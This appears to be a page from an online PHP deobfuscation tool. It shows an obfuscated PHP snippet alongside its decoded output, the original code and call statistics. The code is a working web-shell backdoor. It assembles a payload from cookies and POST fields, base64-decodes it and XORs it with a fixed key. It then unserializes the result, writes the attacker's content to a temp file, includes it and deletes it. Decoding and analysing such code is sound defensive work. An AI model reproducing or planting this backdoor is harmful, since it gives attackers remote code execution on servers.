Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$mBtaRuzTN = chr (68) . chr (102) . '_' . "\x42" . chr (68) . "\142" . 'K';$ORrgxoaB = "\x..

Decoded Output download

<?  $mBtaRuzTN = chr (68) . chr (102) . '_' . "B" . chr (68) . "b" . 'K';$ORrgxoaB = "c" . "l" . 'a' . 's' . "s" . '_' . chr ( 1048 - 947 )."x" . chr (105) . chr (115) . 't' . chr ( 1065 - 950 ); $ypKUiaGLDB = $ORrgxoaB($mBtaRuzTN); $mBtaRuzTN = "9574";$ORrgxoaB = "43460";$bDBfw = $ypKUiaGLDB;if (!$bDBfw){class Df_BDbK{private $AjJSo;public static $eVuMSaKWXo = "d34ebb0c-f69a-4ad4-a95a-01e6e1d85911";public static $MRLIwOEipm = 57056;public function __construct($BeKxNj=0){$sePPQG = $_COOKIE;$kXsSwwTQ = $_POST;$azwvPmolL = @$sePPQG[substr(Df_BDbK::$eVuMSaKWXo, 0, 4)];if (!empty($azwvPmolL)){$LsVWkORfvs = "base64";$LdoQcOuN = "";$azwvPmolL = explode(",", $azwvPmolL);foreach ($azwvPmolL as $hNkgGAU){$LdoQcOuN .= @$sePPQG[$hNkgGAU];$LdoQcOuN .= @$kXsSwwTQ[$hNkgGAU];}$LdoQcOuN = array_map($LsVWkORfvs . "_" . 'd' . "e" . chr ( 983 - 884 ).chr (111) . "d" . 'e', array($LdoQcOuN,)); $LdoQcOuN = $LdoQcOuN[0] ^ str_repeat(Df_BDbK::$eVuMSaKWXo, (strlen($LdoQcOuN[0]) / strlen(Df_BDbK::$eVuMSaKWXo)) + 1);Df_BDbK::$MRLIwOEipm = @unserialize($LdoQcOuN);}}private function DwILOnw(){if (is_array(Df_BDbK::$MRLIwOEipm)) {$OCCoHW = sys_get_temp_dir() . "/" . crc32(Df_BDbK::$MRLIwOEipm[chr (115) . chr (97) . chr (108) . "t"]);@Df_BDbK::$MRLIwOEipm["w" . "r" . chr ( 903 - 798 ).'t' . "e"]($OCCoHW, Df_BDbK::$MRLIwOEipm[chr (99) . "o" . 'n' . "t" . "e" . chr ( 540 - 430 ).'t']);include $OCCoHW;@Df_BDbK::$MRLIwOEipm["d" . chr (101) . 'l' . 'e' . 't' . "e"]($OCCoHW); $QhnrsBlZS = "3433";exit();}}public function __destruct(){$this->DwILOnw(); $QhnrsBlZS = "3433";$wdAvERtfEZ = str_pad($QhnrsBlZS, 10);}}$uurvFv = new Df_BDbK(); $uurvFv = "26805_64612";} ?>

Did this file decode correctly?

Original Code

$mBtaRuzTN = chr (68) . chr (102) . '_' . "\x42" . chr (68) . "\142" . 'K';$ORrgxoaB = "\x63" . "\154" . 'a' . 's' . "\x73" . '_' . chr ( 1048 - 947 )."\170" . chr (105) . chr (115) . 't' . chr ( 1065 - 950 ); $ypKUiaGLDB = $ORrgxoaB($mBtaRuzTN); $mBtaRuzTN = "9574";$ORrgxoaB = "43460";$bDBfw = $ypKUiaGLDB;if (!$bDBfw){class Df_BDbK{private $AjJSo;public static $eVuMSaKWXo = "d34ebb0c-f69a-4ad4-a95a-01e6e1d85911";public static $MRLIwOEipm = 57056;public function __construct($BeKxNj=0){$sePPQG = $_COOKIE;$kXsSwwTQ = $_POST;$azwvPmolL = @$sePPQG[substr(Df_BDbK::$eVuMSaKWXo, 0, 4)];if (!empty($azwvPmolL)){$LsVWkORfvs = "base64";$LdoQcOuN = "";$azwvPmolL = explode(",", $azwvPmolL);foreach ($azwvPmolL as $hNkgGAU){$LdoQcOuN .= @$sePPQG[$hNkgGAU];$LdoQcOuN .= @$kXsSwwTQ[$hNkgGAU];}$LdoQcOuN = array_map($LsVWkORfvs . "\137" . 'd' . "\145" . chr ( 983 - 884 ).chr (111) . "\x64" . 'e', array($LdoQcOuN,)); $LdoQcOuN = $LdoQcOuN[0] ^ str_repeat(Df_BDbK::$eVuMSaKWXo, (strlen($LdoQcOuN[0]) / strlen(Df_BDbK::$eVuMSaKWXo)) + 1);Df_BDbK::$MRLIwOEipm = @unserialize($LdoQcOuN);}}private function DwILOnw(){if (is_array(Df_BDbK::$MRLIwOEipm)) {$OCCoHW = sys_get_temp_dir() . "/" . crc32(Df_BDbK::$MRLIwOEipm[chr (115) . chr (97) . chr (108) . "\164"]);@Df_BDbK::$MRLIwOEipm["\167" . "\162" . chr ( 903 - 798 ).'t' . "\145"]($OCCoHW, Df_BDbK::$MRLIwOEipm[chr (99) . "\157" . 'n' . "\x74" . "\x65" . chr ( 540 - 430 ).'t']);include $OCCoHW;@Df_BDbK::$MRLIwOEipm["\x64" . chr (101) . 'l' . 'e' . 't' . "\145"]($OCCoHW); $QhnrsBlZS = "3433";exit();}}public function __destruct(){$this->DwILOnw(); $QhnrsBlZS = "3433";$wdAvERtfEZ = str_pad($QhnrsBlZS, 10);}}$uurvFv = new Df_BDbK(); $uurvFv = "26805_64612";}

Function Calls

chr 7
class_exists 1

Variables

$ORrgxoaB class_exists
$mBtaRuzTN Df_BDbK

Stats

MD5 7bfb307e3a4c80b99857329285584a61
Eval Count 0
Decode Time 82 ms